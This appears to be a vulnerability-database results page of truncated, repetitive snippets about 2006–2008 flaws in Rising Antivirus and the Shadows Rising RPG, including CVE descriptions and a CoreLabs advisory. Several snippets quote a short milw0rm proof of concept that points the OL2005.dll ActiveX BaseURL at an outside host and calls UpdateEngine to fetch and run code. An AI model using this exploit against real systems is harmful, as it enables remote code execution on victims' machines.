CVE-2008-1738

Rising Antivirus 2008 before 20.38.20 allows local users to cause a denial of service system crash via an invalid pointer to the CLIENTID structure in a call to the NtOpenProcess hooked System Service Descriptor Table SSDT function...

CORE-2008-0320 - Insufficient argument validation of hooked SSDT functions on multiple Antivirus and Firewalls

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ Insufficient argument validation of hooked SSDT functions on multiple Antivirus and Firewalls Advisory Information Title: Insufficient argument validation of hooked...

Insufficient argument validation of hooked SSDT functions on multiple Antivirus and Firewalls

Advisory ID Internal CORE-2008-0320 Advisory Information Title: Insufficient argument validation of hooked SSDT functions on multiple Antivirus and Firewalls Advisory ID: CORE-2008-0320 Date published: 2008-04-28 Date of last update: 2008-04-28 Vendors contacted: BitDefender, Comodo, Sophos and...

Kill KV 2 0 0 8, Rising, etc. most of the mollusc-vulnerability warning-the black bar safety net

Article author: sudami [email protected] Information source: evil octal information security team www.eviloctal.com） Original source: http://hi.baidu.com/sudami/blog/item/a0f114dac68fe3dfb6fd481a.html Preface: Writing this article is not to spread the virus technology,but for the majority of compute...

Design/Logic Flaw

Insecure method vulnerability in the Web Scan Object ActiveX control OL2005.dll in Rising Antivirus Online Scanner allows remote attackers to force the download and execution of arbitrary code by setting the BaseURL property and invoking the UpdateEngine method. NOTE: some of these details are...

CVE-2008-1116

Insecure method vulnerability in the Web Scan Object ActiveX control OL2005.dll in Rising Antivirus Online Scanner allows remote attackers to force the download and execution of arbitrary code by setting the BaseURL property and invoking the UpdateEngine method. NOTE: some of these details are...

CVE-2008-1116

CVE-2008-1116 describes an insecure method vulnerability in the Web Scan Object ActiveX control (OL2005.dll) of Rising Antivirus Online Scanner. The flaw enables remote code execution by setting the BaseURL property and invoking the UpdateEngine method. The affected component is the ActiveX contr...

CVE-2008-1116

Insecure method vulnerability in the Web Scan Object ActiveX control OL2005.dll in Rising Antivirus Online Scanner allows remote attackers to force the download and execution of arbitrary code by setting the BaseURL property and invoking the UpdateEngine method. NOTE: some of these details are...

瑞星免费在线查毒OL2005.dll ActiveX控件远程代码执行漏洞

BUGTRAQ ID: 27997 瑞星是中国的一家非常著名的杀毒软件厂商。 瑞星的在线查毒服务ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞控制用户系统。 瑞星在其主站提供了免费在线查毒服务（http://online.rising.com.cn/free/index.htm ）。在执行免费查毒时，站点会要求用户安装Rising Web Scan Object ActiveX控件（OL2005.dll）。该控件的UpdateEngine方式没有正确地验证某些参数输入，可能导致向用户系统上下载并加载恶意的二进制程序。 Rising OL2005.dll 18.0.0.7...

Rising Antivirus Online Scanner Insecure Method Flaw Exploit

No description provided by source. !-- - Rising is a popular anti-virus product around China. - there's an insecure method flaw inside its free online scanner. - it's quite easy to exploit the bug which leads to a remote execution...

rising-insecure.txt

Rising Online Scanner Insecure Method Vulnerability function test rav.BaseURL = "http://jsmith080220.googlepages.com/"; rav.Encardid = "0000$0000$0000"; rav.UpdateEngine; wait for a few seconds after clicking the button...

Rising AntiVirus Online Scanner - Insecure Method Flaw

Rising AntiVirus Online Scanner - Insecure Method Flaw Rising Online Scanner Insecure Method Vulnerability function test rav.BaseURL = "http://jsmith080220.googlepages.com/"; rav.Encardid = "0000$0000$0000"; rav.UpdateEngine; wait for a few seconds after clicking the button milw0rm.com 2008-02-25...

Rising AntiVirus Online Scanner - Insecure Method Flaw

Rising Online Scanner Insecure Method Vulnerability function test rav.BaseURL = "http://jsmith080220.googlepages.com/"; rav.Encardid = "0000$0000$0000"; rav.UpdateEngine; wait for a few seconds after clicking the button milw0rm.com 2008-02-25...

Rising Antivirus Online Scanner Insecure Method Flaw Exploit

Exploit for unknown platform in category remote exploits ============================================================ Rising Antivirus Online Scanner Insecure Method Flaw Exploit ============================================================ Rising Online Scanner Insecure Method Vulnerability...

Rising Web Scan Object 'OL2005.dll' ActiveX Control Remote Code Execution Vulnerability

Description Rising Web Scan Object 'OL2005.dll' ActiveX control is prone to a remote code-execution vulnerability. An attacker can exploit this issue to execute arbitrary code on a victim's computer in the context of the vulnerable application using the ActiveX control typically Internet Explorer...

Analysis of ring3 under the confrontation 0 8 rising active Defense-vulnerability warning-the black bar safety net

Note: the article has been published in 2 0 0 7 years 1 2 the hack Defense action, after by the original author to submit to the evil octal information security team, the reprint please indicate the original source. I actually for rising antivirus the impression has been is good, to consume...

Shadows Rising RPG远程文件包含漏洞

Shadows Rising RPG是一款基于PHP的论坛程序。 Shadows Rising RPG不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于多个脚本对用户提交的'CONFIGgameroot'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Shadows Rising RPG Shadows Rising RPG 0.0.5b Pre Alpha http://sourceforge.net/projects/shadowsrising/...

CVE-2006-4329

Multiple PHP remote file inclusion vulnerabilities in Shadows Rising RPG Pre-Alpha 0.0.5b and earlier allow remote attackers to execute arbitrary PHP code via a URL in the CONFIGgameroot parameter to 1 core/includes/security.inc.php, 2 core/includes/smarty.inc.php, 3 qcms/includes/smarty.inc.php ...

CVE-2006-4329

Multiple PHP remote file inclusion vulnerabilities in Shadows Rising RPG Pre-Alpha 0.0.5b and earlier allow remote attackers to execute arbitrary PHP code via a URL in the CONFIGgameroot parameter to 1 core/includes/security.inc.php, 2 core/includes/smarty.inc.php, 3 qcms/includes/smarty.inc.php ...

CVE-2006-4329

Multiple PHP remote file inclusion vulnerabilities affect Shadows Rising RPG (Pre-Alpha) 0.0.5b and earlier. The flaw allows an attacker to supply a URL via CONFIG[gameroot] that targets one of four include paths (core/includes/security.inc.php, core/includes/smarty.inc.php, qcms/includes/smarty....